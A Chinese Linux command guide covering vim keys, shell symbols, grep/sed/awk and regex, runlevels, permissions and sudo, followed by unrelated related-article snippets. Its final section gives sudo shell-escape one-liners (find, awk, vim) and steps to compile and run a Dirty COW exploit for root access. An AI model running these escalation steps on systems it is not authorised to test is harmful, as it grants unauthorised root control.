Linux系统常用操作与命令指南

一、快捷分类

1、移动光标

h,	  j,	 k,	  l 
左,  下,    上,	  右
Ctrl-F:下翻一页
Ctrl-B:上翻一页
Ctrl-U:上翻半页
Ctrl-d:下翻半页
0:跳至行首,不管有无缩进,就是跳到第0个字符
^:跳至行首的第一个字符
$:跳至行尾
gg:跳至文首
G:调至文尾
5gg/5G调至第5

2、删除复制

x:删除单个字符
dd:删除光标所在行,#使用u撤销,使用Ctrl+R恢复
6dd:从光标开始往下删除6行
dW:删除一个单词(word)
p:粘贴粘贴板的内容到当前行的下面
P:粘贴粘贴板的内容到当前行的上面
yy:复制行
5yy:复制5

3、搜索和替换

/pattern向后搜索字符串pattern	# 辅助n和N
?pattern向前搜索字符串pattern	# 辅助n和N
:%s/old/new/g搜索整个文件,将所有的old替换为new
:%s/old/new/gc搜索整个文件,将所有的old替换为new,每次都要你确认是否替换

4、退出编辑器

:w将缓冲区写入文件,即保存修改
:WQ保存修改并退出
:x保存修改并退出
:q退出,如果对缓冲区进行过修改,则会提示
:q!强制退出,放弃修改

二、Linux特殊符号

;命令的分隔符
例如:
[root@localhost ~]# touch 111.txt;chmod 777 111.txt
[root@localhost ~]# ll 111.txt
-rwxrwxrwx 	1	root root	0	9月	12	04:40 111.txt
..代表上级目录
例如:
[root@localhost ~]#	pwd
/root
[root@localhost ~]# cd ..
[root@localhost /]# pwd
/
.代表当前目录
例如:
[root@localhost opt]# cp /data/man_db.conf .
[root@localhost opt]# ls
man_db.conf
""双引号,换行,解析变量
''单引号,换行,不解析变量
变量,值是不固定的
常量,值是固定
\	转义符,反斜杠
/ 路径分隔符
` 	反引号(ESC 下边的按钮)
例如:
[root@localhost opt]# touch test_`date +%T`.txt
[root@localhost opt]# ls test_04\:56\:22.txt
test 04:56:22.txt!	历史命令调用
*	通配符
$	调用变量
例如:
root@stara-virtual-machine:~/桌面# export LANG='en_US.UTF-8'
root@stara-virtual-machine:~/桌面# echo $LANG
en_US.UTF-8
root@stara-virtual-machine:~/桌面# stat 1.txt 文件:1.txt大小:27        	块:8          IO 块大小:4096   普通文件
设备:803h/2051d	Inode:669435      硬链接:1
权限:(0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
root@stara-virtual-machine:~/桌面# export LANG='zh_CN.UTF-8'
root@stara-virtual-machine:~/桌面# stat 1.txt 文件:1.txt大小:27        	块:8          IO 块大小:4096   普通文件
设备:803h/2051d	Inode:669435      硬链接:1
权限:(0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
>		输出重定向
>>		追加输出重定向
<		输入重新定向
<<		追加输入重定向
|		管道
||		第一个命令失败,才执行第二个命令
&&		和,一起执行	
&		f
~		代表家目录

三、三剑客和正则表达式

1、grep

#	擅长过滤
#	grep参数
-n 	行号
-c	对结果行计数
-i	不区分大小写
-v	反向搜索,取反
-w	精准匹配
-o	只显示匹配的结果
-A1 同时打印搜索结果行的后一行
-B3 同时打印搜索结果行的前三行
-C2 同时打印搜索结果行的上下各两行
-E	扩展正则表达式
-P	使用per1正则

2、sed

# 擅长修改
用法:sed [-nri] [动作] 目标文件文件
选项与参数:
-n :使用安静(silent)模式。在一般 sed 的用法中,所有来自 STDIN 的数据一般都会被列出到终端上。但如果加上-n 参数后,则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。
-r:	sed的动作支持的是延伸型正则表示法的语法。(默认是基础正则表示法语法)
-i:	直接修改读取的文件内容,而不是输出到终端。动作说明:[n1[,n2]lfunction
n1,n2一般表示为行号function:
a: 指定行后面插入一行
d: 删除
i: 指定行前面插入一行
p: 打印,#一般和前面的-n参数一起用
s: 替换需要I忽略大小写,全局替换需要g

3、awk

#	擅长取列
用法,取列
例如1: 取列
awk '{print $1}' 1.txt
awk '{print $1,$7}' /etc/passwd
例如2: 指定分隔符
awk -F ":"'{print $7,$1}'/etc/passwd
例子3:拼凑指定文本,双引号之间原样输出
awk -F “:” ‘{print $1":123:"$7}'/etc/passwd
例子4: 过滤文本
awk -F "[ /]+" 'S2~/^47/' 1.txt
例子5: 根据行号筛选内容
awk 'NR<=3{print $0}' 1.txt		# 	> 	<	==	>=	<=

4、正则表达式

1、什么是正则表达式?

简单的说,正则表达式就是一套处理大量的字符串而定义的规则和方法。
例如:假设 @代表12345
通过正则表达式这些特殊符号,我们可以快速的过滤、替换需要的内容。
Linux正则一般以行为单位处理的。

2、正则表达式

1、^ 表示搜索以什么开头。
2、$ 表示搜索以什么结尾。
3、^$表示空行,不是空格。
4、. 代表且只能代表任意一个字符。
5、\ 转义字符,让有着特殊身份意义的字符,脱掉马甲,还原原型。
例如:\.只表示小数点,还原原始小数点的意义。
6、* 重复0个或多个前面的一个字符。不代表所有了。
7、.* 匹配所有的字符。^.*任意多个字符开头
8、[abc] 匹配字符集合内任意一个字符[a-z]
9、[^abc] ^再中括号里面表示非,不包含a或b或c。
10、{n,m} 重复n到m次,前一个字符
11、+ 重复1次到多次
12、? 重复0次到多次

取ip的例子:

ip addr|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|sed -n '2p'grep 'Failed password' secure |grep -Eo '[0-9]{1,3}\.[0-9.]+'

取root用户登录时间

lastlog|sed -n'/root/p'|grep -Eo'[0-9]{2}:[0-9]{2}:[0-9]{2}'

四、Linux运行级别

运行级别 		0		关机
运行级别 		1		单用户
运行级别			2		不带网络的多用户
运行级别			3		完整的多用户模式
运行级别			4		保留
运行级别			5		桌面模式
运行级别			6		重启
#	切换运行级别
init
#	查看运行级别
systemctl get-default
#	设置运行级别
systemctl set-default graphical.target		# 设置默认运行级别为图形
systemctl set-default multi-user.target		# 设置默认运行级别为命令行

1、权限掩码

# 修改文件vim /etc/profile
root	默认权限掩码 022
普通用户	默认权限掩码 002

inode: 存储除文件名以外的属性
block:存储文件的内容,目录的block存储,该目录下的文件名和它的inode编号

2、特殊权限

suid 其他用户,拥有该文件属主的执行权限 针对命令文件
sgid 其他用户,拥有该文件属组的权限locate 针对命令文件
sticky 粘滞位 很多用户共同使用的目录,实现用户之间不能互相删除改变对方的文件的权限

3、su和sudo

su == switch user
sudo == superuser do

1.配置/etc/sudoers
# 用户名	所有终端 = 运行的用户身份	命令ALL
zhangsan	ALL=(ALL)	/bin/systemctl,/usr/bin/vim
2.使用sudo执行命令
# 使用sudo来执行命令
sudo systemctl stop network	# start,stop,restart
# 查看可以使用的授权命令
sudo -l

五、Linux普通用户提权

sudo提权

vim  # 命令模式执行: !/
find  # sudo find .-exec bash \;
awk   # sudo awk 'BEGIN {system("/bin/bash")}’

脏牛提权

仓库地址:https://github.com/gbonacini/CVE-2016-5195
# 上传文件  脏牛提权.zip
unzip  脏牛提权.zip
cd CVE-2016-5195-master/
make			# 编译
./dcow -s		# 提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886168.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kafka 与 RabbitMQ 的联系

Kafka 与 RabbitMQ 的区别与联系 一、引言 在现代软件架构中&#xff0c;消息中间件扮演着至关重要的角色。它们帮助系统解耦、提高可伸缩性并确保数据的可靠传递。在众多消息中间件中&#xff0c;Apache Kafka 和 RabbitMQ 是最受欢迎的选择之一。虽然它们都用于消息传递&am…

读取文件内容、修改文件内容、识别文件夹目录(Web操作系统文件/文件夹详解)

前言 因 Unicode IDE 编辑器导入文件、文件夹需要&#xff0c;研究了下导入文件/文件夹的功能实现&#xff0c;发现目前相关文章有点少&#xff0c;故而记录下过程&#xff0c;如果有误&#xff0c;还望指正。(API的兼容性及相关属性、接口定义&#xff0c;请自行查看文件系统 …

SQLite 全文检索:快速高效的文本查询方案

文章目录 什么是全文检索&#xff1f;如何启用 FTS&#xff1f;插入数据执行全文检索关联原始表与 FTS 表数据更新结论 说明: 本文以博客内容全文检索为例。 什么是全文检索&#xff1f; 全文检索是指对文本数据进行索引和查询的一种技术。与常规的 LIKE 查询不同&#xff0c…

【卡尔曼滤波】数据融合Fusion的应用 C语言、Python实现(Kalman Filter)

【卡尔曼滤波】数据融合Fusion的应用 C语言、Python实现&#xff08;Kalman Filter&#xff09; 更新以gitee为准&#xff1a; gitee地址 文章目录 卡尔曼滤波数据融合Python实现C语言实现多个数据如何融合附录&#xff1a;压缩字符串、大小端格式转换压缩字符串浮点数压缩Pac…

docker-hub 无法访问,使用windows魔法拉取docker images再上传到linux docker环境中

云机的服务器是可以docker拉取镜像的&#xff0c;但是本地的虚拟机、物理服务器等网络环境不好的情况&#xff0c;是无法访问docker-hub的&#xff0c;即使更换了docker镜像源国内源也无法使用。 本文章使用 在魔法网络环境下的windows&#xff0c;下载docker images后&#xf…

vxe-vxe-colgroup后端返回数据 对数据进行处理 动态合并分组表头(v-if控制表格渲染(数据请求完成后渲染))

1.html vxe-colgroup循环合并数据&#xff1b;v-if控制表格渲染&#xff08;数据请求完成后渲染&#xff09; <template><vxe-table v-if"isTableReady" :data"tableData"><vxe-colgroup title"基本信息"><template v-for…

Python →爬虫实践

爬取研究中心的书目 现在&#xff0c;想要把如下网站中的书目信息爬取出来。 案例一 耶鲁 Publications | Yale Law School 分析网页&#xff0c;如下图所示&#xff0c;需要爬取的页面&#xff0c;标签信息是“<p>”&#xff0c;所以用 itemssoup.find_all("p&…

【Linux学习】【Ubuntu入门】1-4 ubuntu终端操作与shell命令1

1.使用快捷键CtrlAltT打开命令终端&#xff0c;或者单击右键点击… 2.常用shell命令 目录信息查看命令&#xff1a;ls ls -a&#xff1a;显示目录所有文件及文件夹&#xff0c;包括隐藏文件&#xff0c;比如以.开头的 ls -l&#xff1a;显示文件的详细信息 ls -al&#xff1…

WordPress 6.7 “Rollins”发布

每个 WordPress 版本都会向一位在音乐界留下不可磨灭印记的艺术家致敬。WordPress 6.7 的代号为“Rollins”&#xff0c;旨在向传奇爵士萨克斯演奏家桑尼罗林斯致敬。罗林斯是爵士乐界最伟大的即兴演奏家和先驱之一&#xff0c;他以精湛的技术、创新精神和无畏的音乐表达方式影…

ESXi安装【真机和虚拟机】(超详细)

项目简介&#xff1a; ESXi&#xff08;Elastic Sky X Integrated&#xff09;是VMware公司开发的一种裸机虚拟化管理程序&#xff0c;允许用户在单一物理服务器上运行多个虚拟机&#xff08;VM&#xff09;。它直接安装在服务器硬件上&#xff0c;而不是操作系统之上&#xff…

SQL Server中,CONVERT函数转换日期

在SQL Server中&#xff0c;CONVERT函数支持多种样式代码&#xff08;style codes&#xff09;&#xff0c;用于指定日期和时间的格式。样式代码 23 是一种常用的格式&#xff0c;表示 yyyy-mm-dd。以下是一些常用的样式代码&#xff1a; 日期格式样式代码 0 or 100 - mon dd…

【若依框架】代码生成详细教程,15分钟搭建Springboot+Vue3前后端分离项目,基于Mysql8数据库和Redis5,管理后台前端基于Vue3和Element Plus,开发小程序数据后台

今天我们来借助若依来快速的搭建一个基于springboot的Java管理后台&#xff0c;后台网页使用vue3和 Element Plus来快速搭建。这里我们可以借助若依自动生成Java和vue3代码&#xff0c;这就是若依的强大之处&#xff0c;即便你不会Java和vue开发&#xff0c;只要跟着石头哥也可…

学习日志010--python异常处理机制与简单文件操作

一.异常处理机制 经常使用qq的朋友们都知道&#xff0c;QQ不时会让你升级&#xff0c;有心的小伙伴在升级日志里会看见许多已修复了XXX。奇怪&#xff0c;当我们编写程序时发生错误时总会叫停整个程序&#xff0c;而这些软件上出现种种错误&#xff0c;去不影响我们平时的使用…

HBuilder(uniapp) 配置android模拟器

HBuilder&#xff08;uniapp&#xff09; 配置android模拟器 选择完成之后&#xff0c;点击ok&#xff0c;再次点击Configure—》AVD Manager

flutter插件:录制系统播放的声音

该插件基于flutter包 flutter_screen_recording 和 github库 SystemAudioCaptureAndroid&#xff0c;实现了在安卓手机上录制系统播放声音的功能&#xff0c;也就是说&#xff0c;只要一个安卓应用没有设置不允许其它应用录制声音&#xff0c;该插件可以录制该应用播放的声音。…

Mac中安装OhMyZsh

Mac中安装OhMyZsh 文章目录 Mac中安装OhMyZsh一、Homebrew二、OhMyZsh1、Oh-My-Zsh配置1.1&#xff1a;主题配置1.2&#xff1a;插件配置&#xff08;语法高亮和自动提示&#xff09;1、zsh-autosuggestions&#xff08;需下载安装&#xff09;&#xff1a;高亮显示所有支持的命…

MVVM(Model-View-ViewModel)模型

MVVM&#xff08;ModelViewViewModel&#xff09;模型是一种常用于软件开发中的架构模式&#xff0c;尤其在前端框架&#xff08;如 Vue.js、React、Angular&#xff09;中被广泛应用。它将程序的用户界面与业务逻辑分离&#xff0c;便于维护和扩展。 MVVM 的三个组成部分 1. …

golang如何实现sse

Server-Sent Events (SSE) 的实现主要是通过逐步读取 HTTP 响应体并以事件流的形式将数据推送到客户端。下面我会详细解释代码中如何实现 SSE。 SSE (Server-Sent Events) 简介 SSE 是一种在客户端与服务器之间建立单向持久连接的技术&#xff0c;允许服务器在有新数据时主动推…

生信:TCGA学习(R、RStudio安装与下载、常用语法与常用快捷键)

前置环境 macOS系统&#xff0c;已安装homebrew且会相关命令。 近期在整理草稿区&#xff0c;所以放出该贴。 R语言、RStudio、R包安装 R语言安装 brew install rRStudio安装 官网地址&#xff1a;https://posit.co/download/rstudio-desktop/ R包下载 注意R语言环境自带…

elementUI input 禁止内容两端存在空格,或者是自动去除两端空格

需求 项目中有需求&#xff1a;输入框中禁止内容两端存在空格&#xff0c;或者是自动去除两端空格。 解决方法 vue的api文档中有过介绍&#xff0c;使用.trim可以去掉用户输入内容中两端的空格&#xff0c;如下图 代码 <el-input v-model.trim"name" cleara…